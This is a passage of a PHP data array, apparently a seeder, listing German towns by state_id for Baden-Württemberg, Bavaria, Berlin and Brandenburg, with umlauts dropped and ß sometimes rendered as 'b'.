'ketsch'],\n ['state_id' => '1355', 'name' => 'kieselbronn'],\n ['state_id' => '1355', 'name' => 'kirchberg an der jagst'],\n ['state_id' => '1355', 'name' => 'kirchheim'],\n ['state_id' => '1355', 'name' => 'kirchzarten'],\n ['state_id' => '1355', 'name' => 'kisslegg'],\n ['state_id' => '1355', 'name' => 'klettgau'],\n ['state_id' => '1355', 'name' => 'kongen'],\n ['state_id' => '1355', 'name' => 'konigsbach-stein'],\n ['state_id' => '1355', 'name' => 'konigsbronn'],\n ['state_id' => '1355', 'name' => 'konstanz'],\n ['state_id' => '1355', 'name' => 'korb'],\n ['state_id' => '1355', 'name' => 'korntal-munchingen'],\n ['state_id' => '1355', 'name' => 'kornwestheim'],\n ['state_id' => '1355', 'name' => 'kraichtal'],\n ['state_id' => '1355', 'name' => 'kressbronn an bodensee'],\n ['state_id' => '1355', 'name' => 'kronau'],\n ['state_id' => '1355', 'name' => 'kuessaberg'],\n ['state_id' => '1355', 'name' => 'kunzelsau'],\n ['state_id' => '1355', 'name' => 'ladenburg'],\n ['state_id' => '1355', 'name' => 'lahr'],\n ['state_id' => '1355', 'name' => 'laichingen'],\n ['state_id' => '1355', 'name' => 'langenau'],\n ['state_id' => '1355', 'name' => 'lauda-konigshofen'],\n ['state_id' => '1355', 'name' => 'lauffen'],\n ['state_id' => '1355', 'name' => 'laupheim'],\n ['state_id' => '1355', 'name' => 'leimen'],\n ['state_id' => '1355', 'name' => 'leinfelden-echterdingen'],\n ['state_id' => '1355', 'name' => 'leingarten'],\n ['state_id' => '1355', 'name' => 'lenningen'],\n ['state_id' => '1355', 'name' => 'lenzkirch'],\n ['state_id' => '1355', 'name' => 'leonberg'],\n ['state_id' => '1355', 'name' => 'leutenbach'],\n ['state_id' => '1355', 'name' => 'leutkirch'],\n ['state_id' => '1355', 'name' => 'lichtenstein'],\n ['state_id' => '1355', 'name' => 'linkenheim-hochstetten'],\n ['state_id' => '1355', 'name' => 'lorch'],\n ['state_id' => '1355', 'name' => 'lorrach'],\n ['state_id' => '1355', 'name' => 'ludwigsburg'],\n ['state_id' => '1355', 'name' => 'malsch'],\n ['state_id' => '1355', 'name' => 'mannheim'],\n ['state_id' => '1355', 'name' => 'marbach'],\n ['state_id' => '1355', 'name' => 'markdorf'],\n ['state_id' => '1355', 'name' => 'markgroningen'],\n ['state_id' => '1355', 'name' => 'maulburg'],\n ['state_id' => '1355', 'name' => 'mebstetten'],\n ['state_id' => '1355', 'name' => 'meckenbeuren'],\n ['state_id' => '1355', 'name' => 'meckesheim'],\n ['state_id' => '1355', 'name' => 'meersburg'],\n ['state_id' => '1355', 'name' => 'mengen'],\n ['state_id' => '1355', 'name' => 'metzingen'],\n ['state_id' => '1355', 'name' => 'mockmuhl'],\n ['state_id' => '1355', 'name' => 'moglingen'],\n ['state_id' => '1355', 'name' => 'monsheim'],\n ['state_id' => '1355', 'name' => 'mosbach'],\n ['state_id' => '1355', 'name' => 'mossingen'],\n ['state_id' => '1355', 'name' => 'muhlacker'],\n ['state_id' => '1355', 'name' => 'mullheim'],\n ['state_id' => '1355', 'name' => 'munsingen'],\n ['state_id' => '1355', 'name' => 'murrhardt'],\n ['state_id' => '1355', 'name' => 'nagold'],\n ['state_id' => '1355', 'name' => 'neckargemund'],\n ['state_id' => '1355', 'name' => 'neckarsulm'],\n ['state_id' => '1355', 'name' => 'neresheim'],\n ['state_id' => '1355', 'name' => 'neuenburg'],\n ['state_id' => '1355', 'name' => 'neuhausen'],\n ['state_id' => '1355', 'name' => 'niederstetten'],\n ['state_id' => '1355', 'name' => 'niefern-oschelbronn'],\n ['state_id' => '1355', 'name' => 'nubloch'],\n ['state_id' => '1355', 'name' => 'nurtingen'],\n ['state_id' => '1355', 'name' => 'oberhausen-rheinhausen'],\n ['state_id' => '1355', 'name' => 'oberkirch'],\n ['state_id' => '1355', 'name' => 'oberndorf'],\n ['state_id' => '1355', 'name' => 'oberstenfeld'],\n ['state_id' => '1355', 'name' => 'obersulm'],\n ['state_id' => '1355', 'name' => 'ochsenhausen'],\n ['state_id' => '1355', 'name' => 'offenburg'],\n ['state_id' => '1355', 'name' => 'ofterdingen'],\n ['state_id' => '1355', 'name' => 'oftersheim'],\n ['state_id' => '1355', 'name' => 'oggelshausen'],\n ['state_id' => '1355', 'name' => 'ohringen'],\n ['state_id' => '1355', 'name' => 'olbronn-durrn'],\n ['state_id' => '1355', 'name' => 'oppenweiler'],\n ['state_id' => '1355', 'name' => 'ostfildern'],\n ['state_id' => '1355', 'name' => 'ostringen'],\n ['state_id' => '1355', 'name' => 'otisheim'],\n ['state_id' => '1355', 'name' => 'pfalzgrafenweiler'],\n ['state_id' => '1355', 'name' => 'pfinztal'],\n ['state_id' => '1355', 'name' => 'pforzheim'],\n ['state_id' => '1355', 'name' => 'pfullendorf'],\n ['state_id' => '1355', 'name' => 'pfullingen'],\n ['state_id' => '1355', 'name' => 'philippsburg'],\n ['state_id' => '1355', 'name' => 'plankstadt'],\n ['state_id' => '1355', 'name' => 'pleidelsheim'],\n ['state_id' => '1355', 'name' => 'pliezhausen'],\n ['state_id' => '1355', 'name' => 'plochingen'],\n ['state_id' => '1355', 'name' => 'pluderhausen'],\n ['state_id' => '1355', 'name' => 'radolfzell'],\n ['state_id' => '1355', 'name' => 'rastatt'],\n ['state_id' => '1355', 'name' => 'ravensburg'],\n ['state_id' => '1355', 'name' => 'reilingen'],\n ['state_id' => '1355', 'name' => 'remchingen'],\n ['state_id' => '1355', 'name' => 'remseck'],\n ['state_id' => '1355', 'name' => 'remshalden'],\n ['state_id' => '1355', 'name' => 'renchen'],\n ['state_id' => '1355', 'name' => 'renningen'],\n ['state_id' => '1355', 'name' => 'reutlingen'],\n ['state_id' => '1355', 'name' => 'rheinau'],\n ['state_id' => '1355', 'name' => 'rheinfelden'],\n ['state_id' => '1355', 'name' => 'rheinmunster'],\n ['state_id' => '1355', 'name' => 'rheinstetten'],\n ['state_id' => '1355', 'name' => 'riederich'],\n ['state_id' => '1355', 'name' => 'riedlingen'],\n ['state_id' => '1355', 'name' => 'rielasingen-worblingen'],\n ['state_id' => '1355', 'name' => 'rosenfeld'],\n ['state_id' => '1355', 'name' => 'rottenburg'],\n ['state_id' => '1355', 'name' => 'rottweil'],\n ['state_id' => '1355', 'name' => 'rudersberg'],\n ['state_id' => '1355', 'name' => 'rutesheim'],\n ['state_id' => '1355', 'name' => 'sachsenheim'],\n ['state_id' => '1355', 'name' => 'salem'],\n ['state_id' => '1355', 'name' => 'sandhausen'],\n ['state_id' => '1355', 'name' => 'sankt georgen'],\n ['state_id' => '1355', 'name' => 'sankt leon-rot'],\n ['state_id' => '1355', 'name' => 'saulgau'],\n ['state_id' => '1355', 'name' => 'scheer'],\n ['state_id' => '1355', 'name' => 'schlierbach'],\n ['state_id' => '1355', 'name' => 'schonaich'],\n ['state_id' => '1355', 'name' => 'schopfheim'],\n ['state_id' => '1355', 'name' => 'schorndorf'],\n ['state_id' => '1355', 'name' => 'schramberg'],\n ['state_id' => '1355', 'name' => 'schriesheim'],\n ['state_id' => '1355', 'name' => 'schwabisch gmund'],\n ['state_id' => '1355', 'name' => 'schwabisch hall'],\n ['state_id' => '1355', 'name' => 'schwaigern'],\n ['state_id' => '1355', 'name' => 'schwetzingen'],\n ['state_id' => '1355', 'name' => 'schwieberdingen'],\n ['state_id' => '1355', 'name' => 'seitingen-oberflacht'],\n ['state_id' => '1355', 'name' => 'sexau'],\n ['state_id' => '1355', 'name' => 'sigmaringen'],\n ['state_id' => '1355', 'name' => 'sindelfingen'],\n ['state_id' => '1355', 'name' => 'singen'],\n ['state_id' => '1355', 'name' => 'sinsheim'],\n ['state_id' => '1355', 'name' => 'sinzheim'],\n ['state_id' => '1355', 'name' => 'sonnenbuhl'],\n ['state_id' => '1355', 'name' => 'sontheim'],\n ['state_id' => '1355', 'name' => 'spaichingen'],\n ['state_id' => '1355', 'name' => 'stegen'],\n ['state_id' => '1355', 'name' => 'steinen'],\n ['state_id' => '1355', 'name' => 'steinheim'],\n ['state_id' => '1355', 'name' => 'steinmauern'],\n ['state_id' => '1355', 'name' => 'stockach'],\n ['state_id' => '1355', 'name' => 'straubenhardt'],\n ['state_id' => '1355', 'name' => 'stutensee'],\n ['state_id' => '1355', 'name' => 'stuttgart'],\n ['state_id' => '1355', 'name' => 'suben'],\n ['state_id' => '1355', 'name' => 'sulz'],\n ['state_id' => '1355', 'name' => 'sulzfeld'],\n ['state_id' => '1355', 'name' => 'tamm'],\n ['state_id' => '1355', 'name' => 'tauberbischofsheim'],\n ['state_id' => '1355', 'name' => 'teningen'],\n ['state_id' => '1355', 'name' => 'tettnang'],\n ['state_id' => '1355', 'name' => 'titisee-neustadt'],\n ['state_id' => '1355', 'name' => 'trossingen'],\n ['state_id' => '1355', 'name' => 'tubingen'],\n ['state_id' => '1355', 'name' => 'tuningen'],\n ['state_id' => '1355', 'name' => 'tuttlingen'],\n ['state_id' => '1355', 'name' => 'uberlingen'],\n ['state_id' => '1355', 'name' => 'ubstadt-weiher'],\n ['state_id' => '1355', 'name' => 'uhingen'],\n ['state_id' => '1355', 'name' => 'ulm'],\n ['state_id' => '1355', 'name' => 'umkirch'],\n ['state_id' => '1355', 'name' => 'vaihingen'],\n ['state_id' => '1355', 'name' => 'villingen-schwenningen'],\n ['state_id' => '1355', 'name' => 'villingendorf'],\n ['state_id' => '1355', 'name' => 'waghausel'],\n ['state_id' => '1355', 'name' => 'waiblingen'],\n ['state_id' => '1355', 'name' => 'waldbronn'],\n ['state_id' => '1355', 'name' => 'waldkirch'],\n ['state_id' => '1355', 'name' => 'waldlaubersheim'],\n ['state_id' => '1355', 'name' => 'waldshut-tiengen'],\n ['state_id' => '1355', 'name' => 'walldorf'],\n ['state_id' => '1355', 'name' => 'walldurn'],\n ['state_id' => '1355', 'name' => 'walzbachtal'],\n ['state_id' => '1355', 'name' => 'wangen'],\n ['state_id' => '1355', 'name' => 'wehr'],\n ['state_id' => '1355', 'name' => 'weikersheim'],\n ['state_id' => '1355', 'name' => 'weil'],\n ['state_id' => '1355', 'name' => 'weil am rhein'],\n ['state_id' => '1355', 'name' => 'weil der stadt'],\n ['state_id' => '1355', 'name' => 'weil im schonbuch'],\n ['state_id' => '1355', 'name' => 'weilheim'],\n ['state_id' => '1355', 'name' => 'weingarten'],\n ['state_id' => '1355', 'name' => 'weinheim'],\n ['state_id' => '1355', 'name' => 'weinsberg'],\n ['state_id' => '1355', 'name' => 'weinstadt'],\n ['state_id' => '1355', 'name' => 'wellendingen'],\n ['state_id' => '1355', 'name' => 'welzheim'],\n ['state_id' => '1355', 'name' => 'wendlingen'],\n ['state_id' => '1355', 'name' => 'wernau'],\n ['state_id' => '1355', 'name' => 'wertheim'],\n ['state_id' => '1355', 'name' => 'wiesloch'],\n ['state_id' => '1355', 'name' => 'wildbad'],\n ['state_id' => '1355', 'name' => 'wildberg'],\n ['state_id' => '1355', 'name' => 'winnenden'],\n ['state_id' => '1355', 'name' => 'wolpertshausen'],\n ['state_id' => '1355', 'name' => 'zuzenhausen'],\n ['state_id' => '1356', 'name' => 'ahorn'],\n ['state_id' => '1356', 'name' => 'allershausen'],\n ['state_id' => '1356', 'name' => 'attenhofen'],\n ['state_id' => '1356', 'name' => 'bad birnbach'],\n ['state_id' => '1356', 'name' => 'bad endorf'],\n ['state_id' => '1356', 'name' => 'bad gronenbach'],\n ['state_id' => '1356', 'name' => 'barbing'],\n ['state_id' => '1356', 'name' => 'benediktbeuern'],\n ['state_id' => '1356', 'name' => 'breitenberg'],\n ['state_id' => '1356', 'name' => 'bruckberg'],\n ['state_id' => '1356', 'name' => 'brunnthal'],\n ['state_id' => '1356', 'name' => 'burgheim'],\n ['state_id' => '1356', 'name' => 'chiemsee'],\n ['state_id' => '1356', 'name' => 'emersacker'],\n ['state_id' => '1356', 'name' => 'eresing'],\n ['state_id' => '1356', 'name' => 'fahrenzhausen'],\n ['state_id' => '1356', 'name' => 'faulbach'],\n ['state_id' => '1356', 'name' => 'finning'],\n ['state_id' => '1356', 'name' => 'forstinning'],\n ['state_id' => '1356', 'name' => 'georgensgmund'],\n ['state_id' => '1356', 'name' => 'haldenwang'],\n ['state_id' => '1356', 'name' => 'heideck'],\n ['state_id' => '1356', 'name' => 'heimenkirch'],\n ['state_id' => '1356', 'name' => 'hergensweiler'],\n ['state_id' => '1356', 'name' => 'hirschau'],\n ['state_id' => '1356', 'name' => 'iffeldorf'],\n ['state_id' => '1356', 'name' => 'karlstein'],\n ['state_id' => '1356', 'name' => 'kleinheubach'],\n ['state_id' => '1356', 'name' => 'kleinwallstadt'],\n ['state_id' => '1356', 'name' => 'kotz'],\n ['state_id' => '1356', 'name' => 'krailling'],\n ['state_id' => '1356', 'name' => 'langenbach'],\n ['state_id' => '1356', 'name' => 'laudenbach'],\n ['state_id' => '1356', 'name' => 'leutershausen'],\n ['state_id' => '1356', 'name' => 'mammendorf'],\n ['state_id' => '1356', 'name' => 'mombris'],\n ['state_id' => '1356', 'name' => 'munnerstadt'],\n ['state_id' => '1356', 'name' => 'neu-ulm'],\n ['state_id' => '1356', 'name' => 'niederlauer'],\n ['state_id' => '1356', 'name' => 'obernburg'],\n ['state_id' => '1356', 'name' => 'oberpfaffenhofen'],\n ['state_id' => '1356', 'name' => 'ostallgau'],\n ['state_id' => '1356', 'name' => 'prittriching'],\n ['state_id' => '1356', 'name' => 'prutting'],\n ['state_id' => '1356', 'name' => 'pullach'],\n ['state_id' => '1356', 'name' => 'putzbrunn'],\n ['state_id' => '1356', 'name' => 'randersacker'],\n ['state_id' => '1356', 'name' => 'rednitzhembach'],\n ['state_id' => '1356', 'name' => 'ronsberg'],\n ['state_id' => '1356', 'name' => 'ruckersdorf'],\n ['state_id' => '1356', 'name' => 'schaufling'],\n ['state_id' => '1356', 'name' => 'schonberg'],\n ['state_id' => '1356', 'name' => 'seefeld'],\n ['state_id' => '1356', 'name' => 'sengenthal'],\n ['state_id' => '1356', 'name' => 'sondheim v.d.rhon'],\n ['state_id' => '1356', 'name' => 'steinwiesen'],\n ['state_id' => '1356', 'name' => 'stockheim'],\n ['state_id' => '1356', 'name' => 'tagmersheim'],\n ['state_id' => '1356', 'name' => 'uettingen'],\n ['state_id' => '1356', 'name' => 'unterfohring'],\n ['state_id' => '1356', 'name' => 'weibensberg'],\n ['state_id' => '1356', 'name' => 'wiesthal'],\n ['state_id' => '1356', 'name' => 'wildflecken'],\n ['state_id' => '1356', 'name' => 'wolfertschwenden'],\n ['state_id' => '1356', 'name' => 'zorneding'],\n ['state_id' => '1357', 'name' => 'abensberg'],\n ['state_id' => '1357', 'name' => 'aichach'],\n ['state_id' => '1357', 'name' => 'ainring'],\n ['state_id' => '1357', 'name' => 'altdorf'],\n ['state_id' => '1357', 'name' => 'altotting'],\n ['state_id' => '1357', 'name' => 'altusried'],\n ['state_id' => '1357', 'name' => 'alzenau'],\n ['state_id' => '1357', 'name' => 'amberg'],\n ['state_id' => '1357', 'name' => 'amerang'],\n ['state_id' => '1357', 'name' => 'ansbach'],\n ['state_id' => '1357', 'name' => 'aschaffenburg'],\n ['state_id' => '1357', 'name' => 'augsburg'],\n ['state_id' => '1357', 'name' => 'bad aibling'],\n ['state_id' => '1357', 'name' => 'bad kissingen'],\n ['state_id' => '1357', 'name' => 'bad neustadt'],\n ['state_id' => '1357', 'name' => 'bad reichenhall'],\n ['state_id' => '1357', 'name' => 'bad tolz'],\n ['state_id' => '1357', 'name' => 'bad windsheim'],\n ['state_id' => '1357', 'name' => 'bad worishofen'],\n ['state_id' => '1357', 'name' => 'bamberg'],\n ['state_id' => '1357', 'name' => 'bayreuth'],\n ['state_id' => '1357', 'name' => 'bobingen'],\n ['state_id' => '1357', 'name' => 'bogen'],\n ['state_id' => '1357', 'name' => 'bruckmuhl'],\n ['state_id' => '1357', 'name' => 'buchloe'],\n ['state_id' => '1357', 'name' => 'burghausen'],\n ['state_id' => '1357', 'name' => 'burgkirchen'],\n ['state_id' => '1357', 'name' => 'burglengenfeld'],\n ['state_id' => '1357', 'name' => 'burgthann'],\n ['state_id' => '1357', 'name' => 'buttenheim'],\n ['state_id' => '1357', 'name' => 'cadolzburg'],\n ['state_id' => '1357', 'name' => 'castell'],\n ['state_id' => '1357', 'name' => 'cham'],\n ['state_id' => '1357', 'name' => 'coburg'],\n ['state_id' => '1357', 'name' => 'dachau'],\n ['state_id' => '1357', 'name' => 'deggendorf'],\n ['state_id' => '1357', 'name' => 'dieben'],\n ['state_id' => '1357', 'name' => 'diedorf'],\n ['state_id' => '1357', 'name' => 'dietmannsried'],\n ['state_id' => '1357', 'name' => 'dietramszell'],\n ['state_id' => '1357', 'name' => 'dillingen'],\n ['state_id' => '1357', 'name' => 'dingolfing'],\n ['state_id' => '1357', 'name' => 'dinkelsbuhl'],\n ['state_id' => '1357', 'name' => 'dombuhl'],\n ['state_id' => '1357', 'name' => 'donauworth'],\n ['state_id' => '1357', 'name' => 'dorfen'],\n ['state_id' => '1357', 'name' => 'ebersberg'],\n ['state_id' => '1357', 'name' => 'eching'],\n ['state_id' => '1357', 'name' => 'eckental'],\n ['state_id' => '1357', 'name' => 'eggenfelden'],\n ['state_id' => '1357', 'name' => 'eichenau'],\n ['state_id' => '1357', 'name' => 'eichstatt'],\n ['state_id' => '1357', 'name' => 'elchingen'],\n ['state_id' => '1357', 'name' => 'erding'],\n ['state_id' => '1357', 'name' => 'ergolding'],\n ['state_id' => '1357', 'name' => 'erlangen'],\n ['state_id' => '1357', 'name' => 'erlenbach'],\n ['state_id' => '1357', 'name' => 'essenbach'],\n ['state_id' => '1357', 'name' => 'feldafing'],\n ['state_id' => '1357', 'name' => 'feldkirchen-westerham'],\n ['state_id' => '1357', 'name' => 'feucht'],\n ['state_id' => '1357', 'name' => 'feuchtwangen'],\n ['state_id' => '1357', 'name' => 'forchheim'],\n ['state_id' => '1357', 'name' => 'freilassing'],\n ['state_id' => '1357', 'name' => 'freising'],\n ['state_id' => '1357', 'name' => 'fridolfing'],\n ['state_id' => '1357', 'name' => 'friedberg'],\n ['state_id' => '1357', 'name' => 'furstenfeldbruck'],\n ['state_id' => '1357', 'name' => 'furth'],\n ['state_id' => '1357', 'name' => 'furth im wald'],\n ['state_id' => '1357', 'name' => 'fussen'],\n ['state_id' => '1357', 'name' => 'gachenbach'],\n ['state_id' => '1357', 'name' => 'gaimersheim'],\n ['state_id' => '1357', 'name' => 'garching'],\n ['state_id' => '1357', 'name' => 'garmisch-partenkirchen'],\n ['state_id' => '1357', 'name' => 'gauting'],\n ['state_id' => '1357', 'name' => 'gemunden'],\n ['state_id' => '1357', 'name' => 'geretsried'],\n ['state_id' => '1357', 'name' => 'germering'],\n ['state_id' => '1357', 'name' => 'gersthofen'],\n ['state_id' => '1357', 'name' => 'gilching'],\n ['state_id' => '1357', 'name' => 'goldbach'],\n ['state_id' => '1357', 'name' => 'grafelfing'],\n ['state_id' => '1357', 'name' => 'grafenau'],\n ['state_id' => '1357', 'name' => 'grafing'],\n ['state_id' => '1357', 'name' => 'grobostheim'],\n ['state_id' => '1357', 'name' => 'grobenstadt'],\n ['state_id' => '1357', 'name' => 'grobenzell'],\n ['state_id' => '1357', 'name' => 'grunwald'],\n ['state_id' => '1357', 'name' => 'gunzburg'],\n ['state_id' => '1357', 'name' => 'gunzenhausen'],\n ['state_id' => '1357', 'name' => 'habfurt'],\n ['state_id' => '1357', 'name' => 'haar'],\n ['state_id' => '1357', 'name' => 'hammelburg'],\n ['state_id' => '1357', 'name' => 'hasloch'],\n ['state_id' => '1357', 'name' => 'hauzenberg'],\n ['state_id' => '1357', 'name' => 'helmbrechts'],\n ['state_id' => '1357', 'name' => 'henfenfeld'],\n ['state_id' => '1357', 'name' => 'hersbruck'],\n ['state_id' => '1357', 'name' => 'herzogenaurach'],\n ['state_id' => '1357', 'name' => 'hilpoltstein'],\n ['state_id' => '1357', 'name' => 'hirschaid'],\n ['state_id' => '1357', 'name' => 'hochstadt'],\n ['state_id' => '1357', 'name' => 'hof'],\n ['state_id' => '1357', 'name' => 'holzkirchen'],\n ['state_id' => '1357', 'name' => 'hosbach'],\n ['state_id' => '1357', 'name' => 'illertissen'],\n ['state_id' => '1357', 'name' => 'immenstadt'],\n ['state_id' => '1357', 'name' => 'ingolstadt'],\n ['state_id' => '1357', 'name' => 'inning'],\n ['state_id' => '1357', 'name' => 'ismaning'],\n ['state_id' => '1357', 'name' => 'karlsfeld'],\n ['state_id' => '1357', 'name' => 'karlstadt'],\n ['state_id' => '1357', 'name' => 'kaufbeuren'],\n ['state_id' => '1357', 'name' => 'kelheim'],\n ['state_id' => '1357', 'name' => 'kempten'],\n ['state_id' => '1357', 'name' => 'kiefersfelden'],\n ['state_id' => '1357', 'name' => 'kirchheim'],\n ['state_id' => '1357', 'name' => 'kissing'],\n ['state_id' => '1357', 'name' => 'kitzingen'],\n ['state_id' => '1357', 'name' => 'kleinostheim'],\n ['state_id' => '1357', 'name' => 'klingenberg'],\n ['state_id' => '1357', 'name' => 'kolbermoor'],\n ['state_id' => '1357', 'name' => 'konigsbrunn'],\n ['state_id' => '1357', 'name' => 'kreuzwertheim'],\n ['state_id' => '1357', 'name' => 'kronach'],\n ['state_id' => '1357', 'name' => 'krumbach'],\n ['state_id' => '1357', 'name' => 'kulmbach'],\n ['state_id' => '1357', 'name' => 'kummersbruck'],\n ['state_id' => '1357', 'name' => 'landau'],\n ['state_id' => '1357', 'name' => 'landsberg'],\n ['state_id' => '1357', 'name' => 'landshut'],\n ['state_id' => '1357', 'name' => 'langenzenn'],\n ['state_id' => '1357', 'name' => 'lappersdorf'],\n ['state_id' => '1357', 'name' => 'lauf'],\n ['state_id' => '1357', 'name' => 'lauingen'],\n ['state_id' => '1357', 'name' => 'leinburg'],\n ['state_id' => '1357', 'name' => 'lenggries'],\n ['state_id' => '1357', 'name' => 'lichtenfels'],\n ['state_id' => '1357', 'name' => 'lindach'],\n ['state_id' => '1357', 'name' => 'lindau'],\n ['state_id' => '1357', 'name' => 'lindenberg'],\n ['state_id' => '1357', 'name' => 'lohr'],\n ['state_id' => '1357', 'name' => 'mainburg'],\n ['state_id' => '1357', 'name' => 'maisach'],\n ['state_id' => '1357', 'name' => 'manching'],\n ['state_id' => '1357', 'name' => 'markt schwaben'],\n ['state_id' => '1357', 'name' => 'marktheidenfeld'],\n ['state_id' => '1357', 'name' => 'marktoberdorf'],\n ['state_id' => '1357', 'name' => 'marktredwitz'],\n ['state_id' => '1357', 'name' => 'maxhutte-haidhof'],\n ['state_id' => '1357', 'name' => 'meitingen'],\n ['state_id' => '1357', 'name' => 'memmingen'],\n ['state_id' => '1357', 'name' => 'mering'],\n ['state_id' => '1357', 'name' => 'miesbach'],\n ['state_id' => '1357', 'name' => 'miltenberg'],\n ['state_id' => '1357', 'name' => 'mindelheim'],\n ['state_id' => '1357', 'name' => 'moosburg'],\n ['state_id' => '1357', 'name' => 'muhldorf'],\n ['state_id' => '1357', 'name' => 'munchberg'],\n ['state_id' => '1357', 'name' => 'munchen'],\n ['state_id' => '1357', 'name' => 'munningen'],\n ['state_id' => '1357', 'name' => 'murnau'],\n ['state_id' => '1357', 'name' => 'naila'],\n ['state_id' => '1357', 'name' => 'neubiberg'],\n ['state_id' => '1357', 'name' => 'neuburg'],\n ['state_id' => '1357', 'name' => 'neufahrn'],\n ['state_id' => '1357', 'name' => 'neumarkt'],\n ['state_id' => '1357', 'name' => 'neuried'],\n ['state_id' => '1357', 'name' => 'neusab'],\n ['state_id' => '1357', 'name' => 'neustadt'],\n ['state_id' => '1357', 'name' => 'neutraubling'],\n ['state_id' => '1357', 'name' => 'nordlingen'],\n ['state_id' => '1357', 'name' => 'nuremberg'],\n ['state_id' => '1357', 'name' => 'nurnberg'],\n ['state_id' => '1357', 'name' => 'oberasbach'],\n ['state_id' => '1357', 'name' => 'oberhaching'],\n ['state_id' => '1357', 'name' => 'oberschleibheim'],\n ['state_id' => '1357', 'name' => 'oberstdorf'],\n ['state_id' => '1357', 'name' => 'ochsenfurt'],\n ['state_id' => '1357', 'name' => 'olching'],\n ['state_id' => '1357', 'name' => 'osterhofen'],\n ['state_id' => '1357', 'name' => 'ostheim'],\n ['state_id' => '1357', 'name' => 'ottobrunn'],\n ['state_id' => '1357', 'name' => 'parsberg'],\n ['state_id' => '1357', 'name' => 'passau'],\n ['state_id' => '1357', 'name' => 'pegnitz'],\n ['state_id' => '1357', 'name' => 'peibenberg'],\n ['state_id' => '1357', 'name' => 'peiting'],\n ['state_id' => '1357', 'name' => 'pentling'],\n ['state_id' => '1357', 'name' => 'penzberg'],\n ['state_id' => '1357', 'name' => 'pfaffenhofen'],\n ['state_id' => '1357', 'name' => 'pfarrkirchen'],\n ['state_id' => '1357', 'name' => 'planegg'],\n ['state_id' => '1357', 'name' => 'plattling'],\n ['state_id' => '1357', 'name' => 'pocking'],\n ['state_id' => '1357', 'name' => 'poing'],\n ['state_id' => '1357', 'name' => 'polling'],\n ['state_id' => '1357', 'name' => 'pommelsbrunn'],\n ['state_id' => '1357', 'name' => 'prien'],\n ['state_id' => '1357', 'name' => 'puchheim'],\n ['state_id' => '1357', 'name' => 'rannersdorf'],\n ['state_id' => '1357', 'name' => 'raubling'],\n ['state_id' => '1357', 'name' => 'regen'],\n ['state_id' => '1357', 'name' => 'regensburg'],\n ['state_id' => '1357', 'name' => 'regenstauf'],\n ['state_id' => '1357', 'name' => 'rehau'],\n ['state_id' => '1357', 'name' => 'rodental'],\n ['state_id' => '1357', 'name' => 'roding'],\n ['state_id' => '1357', 'name' => 'rosenheim'],\n ['state_id' => '1357', 'name' => 'roth'],\n ['state_id' => '1357', 'name' => 'rothenbach'],\n ['state_id' => '1357', 'name' => 'rothenburg'],\n ['state_id' => '1357', 'name' => 'ruhstorf'],\n ['state_id' => '1357', 'name' => 'schnelldorf'],\n ['state_id' => '1357', 'name' => 'schongau'],\n ['state_id' => '1357', 'name' => 'schrobenhausen'],\n ['state_id' => '1357', 'name' => 'schwabach'],\n ['state_id' => '1357', 'name' => 'schwabmunchen'],\n ['state_id' => '1357', 'name' => 'schwandorf'],\n ['state_id' => '1357', 'name' => 'schwarzenbach'],\n ['state_id' => '1357', 'name' => 'schweinfurt'],\n ['state_id' => '1357', 'name' => 'selb'],\n ['state_id' => '1357', 'name' => 'selbitz'],\n ['state_id' => '1357', 'name' => 'senden'],\n ['state_id' => '1357', 'name' => 'simbach'],\n ['state_id' => '1357', 'name' => 'sonthofen'],\n ['state_id' => '1357', 'name' => 'spalt'],\n ['state_id' => '1357', 'name' => 'stadtbergen'],\n ['state_id' => '1357', 'name' => 'staffelstein'],\n ['state_id' => '1357', 'name' => 'starnberg'],\n ['state_id' => '1357', 'name' => 'stein'],\n ['state_id' => '1357', 'name' => 'stephanskirchen'],\n ['state_id' => '1357', 'name' => 'straubing'],\n ['state_id' => '1357', 'name' => 'sulzbach-rosenberg'],\n ['state_id' => '1357', 'name' => 'taufkirchen'],\n ['state_id' => '1357', 'name' => 'thansau'],\n ['state_id' => '1357', 'name' => 'tirschenreuth'],\n ['state_id' => '1357', 'name' => 'toging'],\n ['state_id' => '1357', 'name' => 'traunreut'],\n ['state_id' => '1357', 'name' => 'traunstein'],\n ['state_id' => '1357', 'name' => 'treuchtlingen'],\n ['state_id' => '1357', 'name' => 'trostberg'],\n ['state_id' => '1357', 'name' => 'tutzing'],\n ['state_id' => '1357', 'name' => 'unterbergen'],\n ['state_id' => '1357', 'name' => 'unterhaching'],\n ['state_id' => '1357', 'name' => 'unterschleibheim'],\n ['state_id' => '1357', 'name' => 'valley'],\n ['state_id' => '1357', 'name' => 'vaterstetten'],\n ['state_id' => '1357', 'name' => 'veitshochheim'],\n ['state_id' => '1357', 'name' => 'viechtach'],\n ['state_id' => '1357', 'name' => 'vilgertshofen'],\n ['state_id' => '1357', 'name' => 'vilsbiburg'],\n ['state_id' => '1357', 'name' => 'vilshofen'],\n ['state_id' => '1357', 'name' => 'vohringen'],\n ['state_id' => '1357', 'name' => 'volkach'],\n ['state_id' => '1357', 'name' => 'waldkirchen'],\n ['state_id' => '1357', 'name' => 'waldkraiburg'],\n ['state_id' => '1357', 'name' => 'walkertshofen'],\n ['state_id' => '1357', 'name' => 'wasserburg'],\n ['state_id' => '1357', 'name' => 'weibenburg'],\n ['state_id' => '1357', 'name' => 'weibenhorn'],\n ['state_id' => '1357', 'name' => 'weiden'],\n ['state_id' => '1357', 'name' => 'weidenberg'],\n ['state_id' => '1357', 'name' => 'weilheim'],\n ['state_id' => '1357', 'name' => 'wendelstein'],\n ['state_id' => '1357', 'name' => 'werneck'],\n ['state_id' => '1357', 'name' => 'wessling'],\n ['state_id' => '1357', 'name' => 'wolfratshausen'],\n ['state_id' => '1357', 'name' => 'wolnzach'],\n ['state_id' => '1357', 'name' => 'wunsiedel'],\n ['state_id' => '1357', 'name' => 'wurzburg'],\n ['state_id' => '1357', 'name' => 'zirndorf'],\n ['state_id' => '1357', 'name' => 'zwiesel'],\n ['state_id' => '1359', 'name' => 'berlin'],\n ['state_id' => '1359', 'name' => 'panketal'],\n ['state_id' => '1359', 'name' => 'steinfeld'],\n ['state_id' => '1360', 'name' => 'angermunde'],\n ['state_id' => '1360', 'name' => 'bad freienwalde'],\n ['state_id' => '1360', 'name' => 'bad liebenwerda'],\n ['state_id' => '1360', 'name' => 'barnim'],\n ['state_id' => '1360', 'name' => 'beeskow'],\n ['state_id' => '1360', 'name' => 'bernau'],\n ['state_id' => '1360', 'name' => 'blankenfelde'],\n ['state_id' => '1360', 'name' => 'brandenburg'],\n ['state_id' => '1360', 'name' => 'brieselang'],\n ['state_id' => '1360', 'name' => 'cottbus'],\n ['state_id' => '1360', 